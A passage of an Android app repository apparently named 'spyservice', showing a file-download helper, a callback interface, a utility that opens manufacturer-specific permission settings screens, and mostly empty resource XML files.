false; 143 | } 144 | } 145 | 146 | private boolean onCallFailure(@NotNull Throwable t) 147 | { 148 | Log.e(Settings.LOG_TAG, "Server contact failed: " + t.getMessage()); 149 | return false; 150 | } 151 | 152 | private static void writeResponseBodyToDisk(@NotNull ResponseBody body, @NotNull File file) throws Exception 153 | { 154 | InputStream inputStream = null; 155 | OutputStream outputStream = null; 156 | 157 | try 158 | { 159 | byte[] fileReader = new byte[4096]; 160 | 161 | long fileSize = body.contentLength(); 162 | long fileSizeDownloaded = 0; 163 | 164 | inputStream = body.byteStream(); 165 | outputStream = new FileOutputStream(file); 166 | 167 | while (true) 168 | { 169 | int read; 170 | if ((read = inputStream.read(fileReader)) == -1) 171 | break; 172 | 173 | outputStream.write(fileReader, 0, read); 174 | fileSizeDownloaded += read; 175 | 176 | Log.d(Settings.LOG_TAG, "file download: " + fileSizeDownloaded + " of " + fileSize + " bytes"); 177 | } 178 | 179 | outputStream.flush(); 180 | 181 | if (fileSizeDownloaded != fileSize) 182 | throw new Exception("downloaded size != file size; end of stream reached"); 183 | } finally 184 | { 185 | if (inputStream != null) 186 | inputStream.close(); 187 | 188 | if (outputStream != null) 189 | outputStream.close(); 190 | } 191 | } 192 | } 193 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/network/IDownloadCallback.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.network; 12 | 13 | import org.jetbrains.annotations.NotNull; 14 | 15 | import java.io.File; 16 | 17 | public interface IDownloadCallback 18 | { 19 | void onComplete(@NotNull File file); 20 | void onFailure(); 21 | } 22 | -------------------------------------------------------------------------------- /app/src/main/java/ru/er_log/spyservice/util/ChinesePermissionUtils.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.util; 12 | 13 | import android.app.Activity; 14 | import android.content.ComponentName; 15 | import android.content.Intent; 16 | import android.net.Uri; 17 | import android.os.Build; 18 | import android.provider.Settings; 19 | import android.util.Log; 20 | 21 | import ru.er_log.spyservice.BuildConfig; 22 | 23 | /** 24 | * Created by karandeep on 09-May-17. 25 | */ 26 | 27 | public class ChinesePermissionUtils 28 | { 29 | /** 30 | * Build.MANUFACTURER 31 | */ 32 | private static final String MANUFACTURER_HUAWEI = "Huawei"; 33 | private static final String MANUFACTURER_MEIZU = "Meizu"; 34 | private static final String MANUFACTURER_XIAOMI = "Xiaomi"; 35 | private static final String MANUFACTURER_SONY = "Sony"; 36 | private static final String MANUFACTURER_OPPO = "OPPO"; 37 | private static final String MANUFACTURER_LG = "LG"; 38 | private static final String MANUFACTURER_VIVO = "vivo"; 39 | private static final String MANUFACTURER_SAMSUNG = "samsung"; 40 | private static final String MANUFACTURER_LETV = "Letv"; 41 | private static final String MANUFACTURER_ZTE = "ZTE"; 42 | private static final String MANUFACTURER_YULONG = "YuLong"; 43 | private static final String MANUFACTURER_LENOVO = "LENOVO"; 44 | 45 | /** 46 | * This function can define your own 47 | * 48 | * @param activity 49 | */ 50 | public static void goToSetting(Activity activity) 51 | { 52 | switch (Build.MANUFACTURER) 53 | { 54 | case MANUFACTURER_HUAWEI: 55 | Huawei(activity); 56 | break; 57 | case MANUFACTURER_MEIZU: 58 | Meizu(activity); 59 | break; 60 | case MANUFACTURER_XIAOMI: 61 | Xiaomi(activity); 62 | break; 63 | case MANUFACTURER_SONY: 64 | Sony(activity); 65 | break; 66 | case MANUFACTURER_OPPO: 67 | OPPO(activity); 68 | break; 69 | case MANUFACTURER_LG: 70 | LG(activity); 71 | break; 72 | case MANUFACTURER_LETV: 73 | Letv(activity); 74 | break; 75 | default: 76 | ApplicationInfo(activity); 77 | Log.e(ru.er_log.spyservice.Settings.LOG_TAG, "goToSetting: the current system does not support this"); 78 | break; 79 | } 80 | } 81 | 82 | private static void Huawei(Activity activity) 83 | { 84 | Intent intent = new Intent(); 85 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 86 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 87 | ComponentName comp = new ComponentName("com.huawei.systemmanager", "com.huawei.permissionmanager.ui.MainActivity"); 88 | intent.setComponent(comp); 89 | activity.startActivity(intent); 90 | } 91 | 92 | private static void Meizu(Activity activity) 93 | { 94 | Intent intent = new Intent("com.meizu.safe.security.SHOW_APPSEC"); 95 | intent.addCategory(Intent.CATEGORY_DEFAULT); 96 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 97 | activity.startActivity(intent); 98 | } 99 | 100 | private static void Xiaomi(Activity activity) 101 | { 102 | try 103 | { 104 | // MIUI 8 105 | Intent intent = new Intent("miui.intent.action.APP_PERM_EDITOR"); 106 | intent.setClassName("com.miui.securitycenter", "com.miui.permcenter.permissions.PermissionsEditorActivity"); 107 | intent.putExtra("extra_pkgname", BuildConfig.APPLICATION_ID); 108 | activity.startActivity(intent); 109 | } catch (Exception e) 110 | { 111 | try 112 | { 113 | // MIUI 5/6/7 114 | Intent intent = new Intent("miui.intent.action.APP_PERM_EDITOR"); 115 | intent.setClassName("com.miui.securitycenter", "com.miui.permcenter.permissions.AppPermissionsEditorActivity"); 116 | intent.putExtra("extra_pkgname", BuildConfig.APPLICATION_ID); 117 | activity.startActivity(intent); 118 | } catch (Exception e1) 119 | { 120 | // Otherwise jump to application details 121 | Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); 122 | Uri uri = Uri.fromParts("package", BuildConfig.APPLICATION_ID, null); 123 | intent.setData(uri); 124 | activity.startActivity(intent); 125 | } 126 | } 127 | } 128 | 129 | private static void Sony(Activity activity) 130 | { 131 | Intent intent = new Intent(); 132 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 133 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 134 | ComponentName comp = new ComponentName("com.sonymobile.cta", "com.sonymobile.cta.SomcCTAMainActivity"); 135 | intent.setComponent(comp); 136 | activity.startActivity(intent); 137 | } 138 | 139 | private static void OPPO(Activity activity) 140 | { 141 | Intent intent = new Intent(); 142 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 143 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 144 | ComponentName comp = new ComponentName("com.color.safecenter", "com.color.safecenter.permission.PermissionManagerActivity"); 145 | intent.setComponent(comp); 146 | activity.startActivity(intent); 147 | } 148 | 149 | private static void LG(Activity activity) 150 | { 151 | Intent intent = new Intent("android.intent.action.MAIN"); 152 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 153 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 154 | ComponentName comp = new ComponentName("com.android.settings", "com.android.settings.Settings$AccessLockSummaryActivity"); 155 | intent.setComponent(comp); 156 | activity.startActivity(intent); 157 | } 158 | 159 | private static void Letv(Activity activity) 160 | { 161 | Intent intent = new Intent(); 162 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 163 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 164 | ComponentName comp = new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.PermissionAndApps"); 165 | intent.setComponent(comp); 166 | activity.startActivity(intent); 167 | } 168 | 169 | /** 170 | * Open only to bring their own security software 171 | * 172 | * @param activity 173 | */ 174 | private static void _360(Activity activity) 175 | { 176 | Intent intent = new Intent("android.intent.action.MAIN"); 177 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 178 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID); 179 | ComponentName comp = new ComponentName("com.qihoo360.mobilesafe", "com.qihoo360.mobilesafe.ui.index.AppEnterActivity"); 180 | intent.setComponent(comp); 181 | activity.startActivity(intent); 182 | } 183 | 184 | /** 185 | * Application information interface 186 | * 187 | * @param activity 188 | */ 189 | private static void ApplicationInfo(Activity activity) 190 | { 191 | Intent localIntent = new Intent(); 192 | localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 193 | if (Build.VERSION.SDK_INT >= 9) 194 | { 195 | localIntent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); 196 | localIntent.setData(Uri.fromParts("package", activity.getPackageName(), null)); 197 | } else if (Build.VERSION.SDK_INT <= 8) 198 | { 199 | localIntent.setAction(Intent.ACTION_VIEW); 200 | localIntent.setClassName("com.android.settings", "com.android.settings.InstalledAppDetails"); 201 | localIntent.putExtra("com.android.settings.ApplicationPkgName", activity.getPackageName()); 202 | } 203 | activity.startActivity(localIntent); 204 | } 205 | 206 | /** 207 | * System Settings interface 208 | * 209 | * @param activity 210 | */ 211 | private static void SystemConfig(Activity activity) 212 | { 213 | Intent intent = new Intent(Settings.ACTION_SETTINGS); 214 | activity.startActivity(intent); 215 | } 216 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 17 | 18 | 19 | 25 | 28 | 31 | 32 | 33 | 34 | 40 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/button_blue.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/button_dark.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/button_light.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/button_red.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 17 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 175 | 180 | 181 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/main_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 13 | 14 | 15 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 12 | 13 | 28 | 29 | 42 | 43 |